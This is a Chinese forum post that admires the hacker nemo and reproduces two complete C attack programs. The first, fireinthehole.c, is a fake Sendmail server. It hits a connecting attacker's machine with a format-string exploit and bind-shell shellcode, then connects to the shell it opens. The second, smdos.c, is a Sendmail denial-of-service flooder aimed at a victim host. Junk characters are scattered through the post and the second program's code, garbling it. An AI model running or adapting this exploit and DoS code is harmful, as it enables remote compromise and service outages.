nemo
看不到他的脸，不过看他的网站就知道他很有趣，， MU%g J@-V+Y[url=http://felinemenace.org/~nemo/]http://felinemenace.org/~nemo/[/url]
看上面的asc nemo很有趣吧。。cute!nCL&F7{muk J*T
下面这个exploit很淫荡啊，好像是别人的exploit有漏洞，他放在邮件服务器上狙击的,Bu a8@s gt
hahaha...ca W+_:O
/* * fireinthehole.c * * Counterstrike exploit for smdos (sendmail exploit) * written by nemo (Neil Archibald) 2004 * * Thanks to andrewg and mercy for helping me out with this. * * [ Need a challenge ? ] * [ Visit [url]http://www.pulltheplug.com[/url] ] */#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h>#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/wait.h> #include <signal.h> #define SMTPPORT 25#define BANNER "220 evil.whitehat.com ESMTP Sendmail 8.9.3\n"#define BACKLOG 50#define MAXFMT 1024#define BSIZE 1048576 + 1 // From smdos.c ;)#define BINDPORT 65535 #define GOT 0x0804a104 // GOT to overwrite. (objdump -R smdos)#define EBPB 0xbffff914 // Address of ebp, can be seen using dpa or gdb.#define SCODEAD 0x0804a1a0 // Address of shellcode on the .bss#define DPA1 5#define DPA2 33#define DPA3 68#define counter(x) ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a)int sin_size,evil_fd,currdpa = 0;struct sockaddr_in my_addr,haX0r_addr; // Address of the attacker.char shellcode[] = /* shellcode by Ilja van Sprundel ([email]ilja@netric.org[/email]) */"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x43\xff""\x49\x02\x6a\x10\x51\x50\x89\xe1\x5e\xb0\x66\xcd\x80\x89\x41\x04\xb0""\x66\x43\x43\xcd\x80\x43\xb0\x66\xcd\x80\x87\xd9\x89\xc3\xb0\x3f\xcd""\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; void say(char *what,int sockfd,int b_read){ char buffer[BSIZE]; bzero(buffer,BSIZE); usleep(1000); if (b_read && read(sockfd,buffer,BSIZE - 1) == -1) { perror("read()"); exit(errno); } if (write(sockfd,what,strlen(what)) == -1) { perror("write()"); exit(errno); }}int sendfstring(int sockfd){ int a , b = 0; char buffer; char fmt[MAXFMT]; printf("[+] Sending format strings.\n"); sprintf(fmt,"%%.%du%%%d$hn",counter(GOT & 0xffff),DPA2); sprintf(fmt,"%s%%.%du%%%d$hn\n",fmt,counter((EBPB + 2) & 0xffff),DPA1); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn\n",counter(GOT >> 0x10),DPA2); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn",counter(SCODEAD & 0xffff),DPA3); sprintf(fmt,"%s%%.%du%%%d$hn\n",fmt,counter(EBPB & 0xffff),DPA1); say(fmt,sockfd,1); b=0; sprintf(fmt,"%%.%du%%%d$hn\n",counter((GOT + 2) & 0xffff),DPA2); say(fmt,sockfd,1); b=0; while(read(sockfd,&buffer, 1) && a++ < BSIZE); sprintf(fmt,"%%.%du%%%d$hn\n",counter(SCODEAD >> 0x10),DPA3); say(fmt,sockfd,1); return 0;}int waitonsmtp(){ int sockfd; int yes=1; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(errno); } if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) { perror("setsockopt()"); exit(errno); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(SMTPPORT); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&(my_addr.sin_zero), '\0', 8); if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind()"); exit(errno); } if (listen(sockfd, BACKLOG) == -1) { perror("listen()"); exit(errno); } return sockfd;}void shell(int sock){ fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock);} int conn(char *ip, int p){ struct sockaddr_in connaddr; int sockfd; connaddr.sin_family = AF_INET; connaddr.sin_port = htons(p); connaddr.sin_addr.s_addr = inet_addr(ip); bzero(&(connaddr.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&connaddr,sizeof(struct sockaddr))) < 0 ) { return 0; } return sockfd;}int main(int ac, char **av){ int sockfd,shellfd; printf("-( fireinthehole - [ Counterstrike code for smdos ] )-\n"); printf(" -] nemo 2004 [-\n"); sockfd = waitonsmtp(); printf("[+] Waiting for attack.....\n"); sin_size = sizeof(struct sockaddr_in); if ((evil_fd = accept(sockfd, (struct sockaddr *)&haX0r_addr,&sin_size)) == -1) { perror("accept"); } printf("[+] Incoming attack from evil hacker: %s.\n",inet_ntoa(haX0r_addr.sin_addr)); sleep(3); printf("[+] Impersonating Sendmail. ;)\n"); if (write(evil_fd,BANNER,strlen(BANNER)) == -1) perror("write()"); if(sendfstring(evil_fd)) // Send format string sequence to attacker. perror("send()"); printf("[+] Sending payload\n"); if (send(evil_fd, shellcode, strlen(shellcode), 0) == -1) perror("send"); sleep(5); close(evil_fd); printf("[+] Checking for shell\n"); if((shellfd=conn(inet_ntoa(haX0r_addr.sin_addr),BINDPORT))) { printf("[+] Got sh3ll! ;)\n\n"); shell(shellfd); } else { printf("[+] Exploit unsuccesful! :(\n"); } return 0;} [url=http://felinemenace.org/~nemo/exploits/fireinthehole.c]http://felinemenace.org/~nemo/exploits/fireinthehole.c[/url] smdos.c:(X ^ y'FZ/jE
--- CUT HERE ---
/*L&\u_WcB
By Michal Szymanski <[email=siwa9@box43.gnet.pl]siwa9@box43.gnet.pl[/email]>3L a#A"A*X ED9@*R
Sendmail DoS (up to 8.9.3); x+e3Z R5Cv.T7B
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h> b g2O k D'lT
#include <arpa/inet.h>1i)V#j&~B+c
#include <netdb.h>G3^ j f+a Tl%t8x `
#include <errno.h>
#undef VERBOSE /* define it, if MORECONN is undefined */
#define MORECONN Up9P l b j!Rq
// #define RCPT_TO "[email=foo@ftp.onet.pl]foo@ftp.onet.pl[/email]"3z9W.DBT"K6P
#define RCPT_TO "[email=foo@10.255.255.255]foo@10.255.255.255[/email]"
#ifdef MORECONN
#define MAXCONN 5 I/YE @"n@!iZ
#endif&NwkC:v
#define BSIZE 1048576 /* df* control file size */9g Uc4I&x#|)qa-u3b
#define PORT 25A6e U nR O+|Q/l6BEM
char buffer[BSIZE];
int sockfd,x,loop,chpid;+tdQ3W(aH8X9sQ,V
void usage(char *fname) {(gvC lP @3IK.[
fprintf(stderr,"Usage: %s <victim_host>\n",fname); _ O,e8g X
exit(1);
}-j,D(YY*S P#f
void say(char *what) {
if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}
#ifdef VERBOSE t9}oX3LG_b1Q-q
fprintf(stderr,"<%s",what);
#endif8y_ ^s)S Lj X
bzero(buffer,BSIZE);
usleep(1000);6S"]3S vl/f HU,?
if (read(sockfd,buffer,BSIZE)<0) {H |:X$`4B&_y0V G
perror("read()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,buffer);K'J[{1wB5o S
#endifQvw-B!r d
} ~{e-T7Z!A&{ pd
.H*P&if"G)Q#Q ^
int main(int argc,char *argv[]) {rS ? oom K9k
struct sockaddr_in serv_addr;V6g9Y u_M#[
struct hostent *host;
char *hostname,hostaddr[20];
fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [[email]siwa9@box43.gnet.pl[/email]]\n");I#EvE/](Y!R]
if (argc<2) usage(argv[0]);6P V/L1rX s?
#ifdef VERBOSE~{F"y B#},d/e.Al/N%Q
fprintf(stderr,">Preparing address. \n");@ t j9{4E&]/j
#endif
hostname=argv[1];@ X"U X%}&\9Q
serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET; M!K7z*|2r$`hd |
if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
#ifdef VERBOSE/j1xa%d,w;N3L X
fprintf(stderr,">Getting info from DNS.\n"); e6w3B(z w2l*p
#endif
if ((host=gethostbyname(hostname))==NULL) {y+i:D!hLd'R
herror("gethostbyname()");"A+m%L yT }&t(c ]
exit(h_errno);
} MSy*@9B
serv_addr.sin_family=host->h_addrtype; E kZ&\S wd(`s
bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length); FhSR Je Sv^+l
#ifdef VERBOSE \ S.].ia
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif]#zZ#N"wGU
hostname=host->h_name; ~*RIIn ZP&H.P
sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
(unsigned char)host->h_addr[1],6f3}3{L:[^,q`
(unsigned char)host->h_addr[2],?z} m G
(unsigned char)host->h_addr[3]);!o h l1?+B['Y
}`3|%d`3P
else sprintf(hostaddr,"%s",hostname);
#ifdef MORECONN%A5a9qo h?;]8{(^
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif
for(;;) {
bzero(&(serv_addr.sin_zero),8);*w&X3l mH jB
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");(^ E6j,N&M g4G
exit(errno);
} K w$@(T;Ta \
if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) { cq |Xah$T%l
perror("connect()");
exit(errno);JH D~R*U9G ^
}lW"z]&HP+d
#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endifX b+S M$f wv4x[ r
bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSEIga SR {+w
fprintf(stderr,buffer);
#else0A&K,u1_ c3Qg4O2K6X _
fprintf(stderr,".");*T D8V h-p
#endif
say("helo foo\n"); LW ]0@3FT e;i6xl
say("mail from:root@localhost\n"); a[&b~ KK6A
say("rcpt to:" RCPT_TO "\n");
say("data\n");
for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE); tA3At8`
say("\n.\n");St2@KY0IB%T7^'SK
sleep(1);
say("quit\n");6t#\#lA0_ kW o fb t0u
shutdown(sockfd,2);
close(sockfd);-Q!K}` sh"}S
#ifdef VERBOSE"@tV:N}*?G(y
fprintf(stderr,">Connection closed succesfully.\n"); x7N9H)\ D }
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);'FBNF/h3O&^8?:j
#endifA_br(^.{
return 0; xDr5I/D8u
}
--- CUT HERE ---
页:
[1]